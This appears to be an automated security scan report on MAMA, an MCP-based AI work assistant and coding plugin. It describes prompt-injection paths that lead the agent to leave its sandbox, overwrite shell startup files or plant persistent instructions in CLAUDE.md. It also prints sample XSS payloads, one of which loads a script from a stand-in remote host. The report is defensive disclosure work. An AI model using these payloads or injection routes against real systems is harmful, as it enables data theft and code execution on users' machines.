MAMA
- Type
- MCP server
- Scanned
- Nov 22, 2026
- Version
- 6ea5ee9ee9fa
- Files read
- 1103
MAMA is a local AI work assistant and coding plugin that saves your development history and connects to messengers, calendars, and workplace tools to track tasks and answer questions. Its biggest risk is that hidden instructions in incoming messages or files can trick the assistant into bypassing its safety limits to steal private data or overwrite files on your computer, and a flaw in its local web viewer can let untrusted websites read your stored work history.
What it can reach
- Files
- Reads and writes local databases, logs, wiki pages, downloads, and workspaces in ~/.mama and ~/.claude, modifies shell startup files during setup, and can read user files and configured folders like Obsidian vaults, Claude Code transcripts, and macOS iMessage history.
- Network
- Runs a local web server on port 3847 and connects to Telegram, Slack, Discord, Chatwork, Trello, Notion, Google Workspace, iCal feeds, Jev, npm, Hugging Face, and external websites for web searches and page fetching.
- Shell commands
- Runs Claude Code, Codex, and Google Workspace CLI tools, executes shell commands, Node.js workers, and Python or LibreOffice document helpers, installs npm packages on startup, and runs remote shell scripts (with sudo or pkexec on Linux) during setup.
- Secrets
- Stores and reads bot tokens, API keys, and account credentials in ~/.mama and ~/.config/gws, and uses your existing sign-ins for Claude Code, Codex, and Google Workspace.
- Browser
- Opens local setup pages in your web browser to collect tokens and pairing codes, and serves a local web interface for viewing tasks, wiki pages, and logs.
- System
- Installs and controls persistent background services that keep running automatically via macOS LaunchAgents or Linux systemd user units.
Findings
-
Highcode_act worker escapes vm to gain unrestricted network access and read owner-only Viewer API
packages/standalone/src/api/code-act-actions.ts:143
The code_act action runs agent-supplied JavaScript inside node:vm in a child process launched with node --permission directly from the unsandboxed MAMA daemon. Because outer-realm functions such as callTool are passed into the vm context, a one-line escape (for example via callTool.constructor) reaches the outer Node.js runtime and global fetch. Contrary to the file's security comment, Node.js --permission does not restrict network access, and the child process bypasses the OS sandbox, egress proxy, and outbound security alerts. A restricted member session can fetch http://127.0.0.1:3847/api/... to read all owner tasks, memories, wiki pages, source observations, and logs under ownerAccess, and any prompt-injected autonomous or member turn can silently exfiltrate sensitive data to arbitrary external servers.
Fix: Run the code_act worker inside the same OS sandbox and egress proxy as native shells (Seatbelt on macOS, bubblewrap on Linux) or disable networking primitives in a locked-down preload before evaluating untrusted scripts, and require a token for local Viewer API requests.
-
HighUnsandboxed wiki writer follows symlinks inside the agent-writable workspace
packages/standalone/src/wiki/obsidian-writer.ts:212
By default, mama init sets wikiDir to ~/.mama/workspace/wiki inside the agent's writable workspace directory. While the agent's own Bash and file tools are confined by OS sandboxes to writes inside ~/.mama/workspace, manage.wiki.publish invokes ObsidianWriter.writePage and appendLog inside the unsandboxed MAMA daemon process without checking for symlinks (and wiki-read and wiki-move also resolve wikiRoot itself through symlinks). If untrusted external content prompt-injects the agent, it can create a symlink inside ~/.mama/workspace/wiki pointing to a host file such as ~/.zshenv, ~/.bashrc, or ~/.ssh/authorized_keys and call manage.wiki.publish to overwrite that file outside the workspace and achieve unsandboxed code execution.
Fix: Move the default wiki directory outside the agent-writable workspace (and reject overlapping paths in pathsFor just as downloadsDir and runtimeRoot already do), and verify in ObsidianWriter, resolveInsideRoot, and moveWikiPages that neither the wiki root nor any ancestor or target file is a symlink, opening files with O_NOFOLLOW.
-
HighWritable CLAUDE.md and AGENTS.md in workspace allow persistent prompt injection across session resets
packages/standalone/src/cli/runtime/claude-caller-config.ts:50
Unattended background turns (such as source_delta and delta_record turns triggered automatically by incoming emails or chat messages) have write access to ~/.mama/workspace. Although ensureClaudeCallerHook blocks writes to .claude/, it leaves CLAUDE.md, AGENTS.md, and AGENTS.override.md in workspaceDir writable on both the Claude and Codex backends. Because Claude CLI (--setting-sources project,local) and Codex app-server automatically load these instruction files from workspaceDir on session startup, a prompt-injected background turn can write persistent hidden instructions that survive /new session resets and daemon restarts and later execute in interactive owner turns where unrestricted WebFetch is enabled.
Fix: Add CLAUDE.md, AGENTS.md, AGENTS.override.md, and .git inside workspaceDir to denyWrite and disallowed Edit/Write rules on both backends, or disable workspace write and shell tools during unattended source_delta and record turns.
-
HighDOM XSS and origin-unchecked postMessage listener in log viewer allow cross-origin data theft
packages/standalone/public/viewer/log-viewer.html:484
In log-viewer.html, parseLine() extracts the first bracketed 2-to-40 character substring on any log line (/\[([^\]]{2,40})\]/) as entry.source, and updateModStats() inserts the top eight source names (k) directly into $('modStats').innerHTML without HTML-escaping them (unlike every other renderer in the file, which calls esc()). Furthermore, line 812 registers a window.addEventListener('message', ...) listener for type 'mama:logs' with no e.origin check and passes e.data.content straight into addLines(). Because /viewer/log-viewer.html is served without authentication on 127.0.0.1:3847 by default (and as a public static asset behind a tunnel), any malicious website the user visits can open /viewer/log-viewer.html and post crafted lines such as [<img src=x onerror=eval(name)>] or [<img src=x onerror=import('//x.yz')>] to execute arbitrary JavaScript in the viewer's origin. From that origin, attacker JavaScript can issue same-origin requests to /api/* (bypassing Sec-Fetch-Site cross-origin checks and using no-token loopback access or active Cloudflare Access cookies) to exfiltrate all MAMA tasks, memories, wiki pages, reports, and logs. Crafted text logged to daemon.log from external connectors can also trigger the same XSS when the user opens the Logs tab.
Fix: Escape k with esc(k) in updateModStats() (or construct DOM nodes using textContent), and verify e.origin === window.location.origin in the message event listener before accepting mama:logs messages.
-
MediumViewer API bypasses MAMA_AUTH_TOKEN and security logging on non-Cloudflare tunnels and local loopback
packages/standalone/src/api/auth-middleware.ts:49
authenticateViewerRequest immediately grants owner-level read access ('local') whenever the TCP socket comes from 127.0.0.1 or ::1 and isTunnelRequest(req) is false, before checking MAMA_AUTH_TOKEN or the Host header. Because isTunnelRequest only checks Cloudflare-specific headers (cf-connecting-ip, cf-ray, cf-access-*), exposing the viewer through any other local reverse proxy or tunnel (such as Tailscale Funnel/Serve, ngrok, SSH reverse tunnel, Caddy, or nginx) with MAMA_VIEWER_HOSTNAMES and MAMA_AUTH_TOKEN set leaves every /api/* endpoint completely unauthenticated to the internet and skips security event logging. It also allows any other local OS user or process on the machine to read all owner data even when MAMA_AUTH_TOKEN is configured.
Fix: Enforce token or Access JWT authentication whenever MAMA_AUTH_TOKEN is set, whenever the Host header is not a loopback address (localhost, 127.0.0.1, [::1]), or whenever standard proxy headers (Forwarded, X-Forwarded-For, X-Forwarded-Host, X-Real-IP) are present.
-
MediumDOM XSS in Wiki viewer via unescaped page paths and frontmatter fields
packages/standalone/public/viewer/src/modules/wiki.ts:210
In the Wiki viewer, wikilinkToHtml embeds [[path|label]] targets into data-wiki-path attributes that DOMPurify preserves by default, and clicking a link (or calling navigateTo) passes that decoded string to openPage(path). When API.getWikiPage(path) fails on a nonexistent path such as [[<img src=x onerror=...>]], the catch block writes path directly into pageEl.innerHTML without HTML escaping. In addition, renderPageView interpolates frontmatter type and confidence fields into innerHTML without escaping. Because /viewer is served without a Content Security Policy, a prompt-injected wiki page or crafted markdown note in the wiki folder can execute arbitrary JavaScript in the viewer origin to read all MAMA memory and tasks or modify wiki pages.
Fix: Escape path with escapeHtml(path) (or assign textContent) in the openPage error handler, escape meta and data attributes in renderPageView, wikilinkToHtml, and renderTreeNode, and pass ALLOW_DATA_ATTR: false to DOMPurify.sanitize.
-
MediumCodex backend enables all account-linked Codex apps by default without opt-in or untrusted-content fencing
packages/standalone/src/runtime/native-session.ts:286
When configured with the codex backend, the common session unconditionally enables Codex apps (apps = true with approval_policy = 'never' and no config.yaml switch to turn them off). This exposes every connector or app linked to the user's ChatGPT/Codex account to MAMA—even if the user chose not to connect those sources in MAMA—including during unattended background turns. Setting destructive_enabled = false and open_world_enabled = false still permits non-destructive closed-world write tools without approval, and data returned by Codex apps bypasses MAMA's wrapUntrustedContent fencing.
Fix: Keep Codex apps disabled by default unless explicitly opted into in config.yaml, restrict them to readOnlyHint = true tools (or block them in autonomous turns), and document that Codex account apps are exposed outside connectors.json.
-
LowUnpinned remote install scripts executed without checksum verification
packages/claude-code-plugin/skills/mama-install/SKILL.md:32
When a user asks the agent to install MAMA OS, the mama-install skill instructs the agent to download install.sh from the mutable GitHub releases/latest endpoint and pipe it directly into sh without version pinning or SHA-256 verification. In addition, packages/standalone/install/install.sh downloads and executes unpinned vendor shell installers (https://claude.ai/install.sh or https://chatgpt.com/codex/install.sh) without checksum verification when the backend CLI is not already on PATH. If a release asset or upstream script is compromised, arbitrary code runs on the user's machine during setup.
Fix: Pin install.sh to the exact release tag in SKILL.md and verify its SHA-256 hash before running it (managed via scripts/sync-versions.js like .mcp.json and Node.js checksums), and prefer pinned checksum-verified releases for backend CLIs.
-
LowClaude Code SessionStart hook runs npm install without a lockfile or integrity pins
packages/claude-code-plugin/scripts/plugin-deps.js:76
At Claude Code session start, ensurePluginDependencies writes a generated package.json containing only top-level dependencies into CLAUDE_PLUGIN_DATA without a lockfile and runs npm install --omit=dev automatically. Because no package-lock.json is used and lifecycle scripts are enabled, npm resolves floating semver ranges of transitive dependencies from the registry at runtime and runs their install scripts on the user's machine.
Fix: Bundle a committed package-lock.json (with exact versions and SHA-512 integrity hashes) in the plugin, copy it alongside package.json into CLAUDE_PLUGIN_DATA, and run npm ci --omit=dev.
-
LowMAMA_VIEWER_OWNER_EMAILS logs unknown Cloudflare Access users instead of denying access
packages/standalone/src/api/auth-middleware.ts:68
When Cloudflare Access JWT verification is enabled alongside MAMA_VIEWER_OWNER_EMAILS, a valid JWT for an email address not listed in MAMA_VIEWER_OWNER_EMAILS only flags observation.unknownIdentity for alerting while still returning an authenticated ViewerIdentity ('access:...'). If an administrator's Cloudflare Access application policy permits a wider group (such as a company email domain) and they set MAMA_VIEWER_OWNER_EMAILS expecting MAMA to restrict access to those emails, non-owner users can still read all viewer API data.
Fix: Reject the request (return null so requireViewerAuth responds with 401/403) when MAMA_VIEWER_OWNER_EMAILS is set and the verified Cloudflare Access email is not in that allowlist.
-
LowViewer loads unpinned third-party CDN scripts at runtime without Subresource Integrity
packages/standalone/public/viewer/viewer.html:39
viewer.html loads five JavaScript libraries at runtime from external CDNs (cdn.tailwindcss.com, unpkg.com, cdn.jsdelivr.net, and cdnjs.cloudflare.com) without Subresource Integrity (integrity) hashes, and three of them use floating version specifiers (cdn.tailwindcss.com with no version, vis-network@9, and marked@11). Because scripts in viewer.html execute in the 127.0.0.1:3847 viewer origin with full access to MAMA's local read APIs, a compromise of any of those CDN endpoints or floating npm tags would expose all stored work history, memories, wiki pages, and logs, while also leaking viewer usage metadata to third-party CDNs whenever the dashboard is opened.
Fix: Bundle tailwindcss, vis-network, lucide, marked, and dompurify locally into the viewer build, or pin exact versions and add integrity hashes with crossorigin="anonymous" on every external script tag.
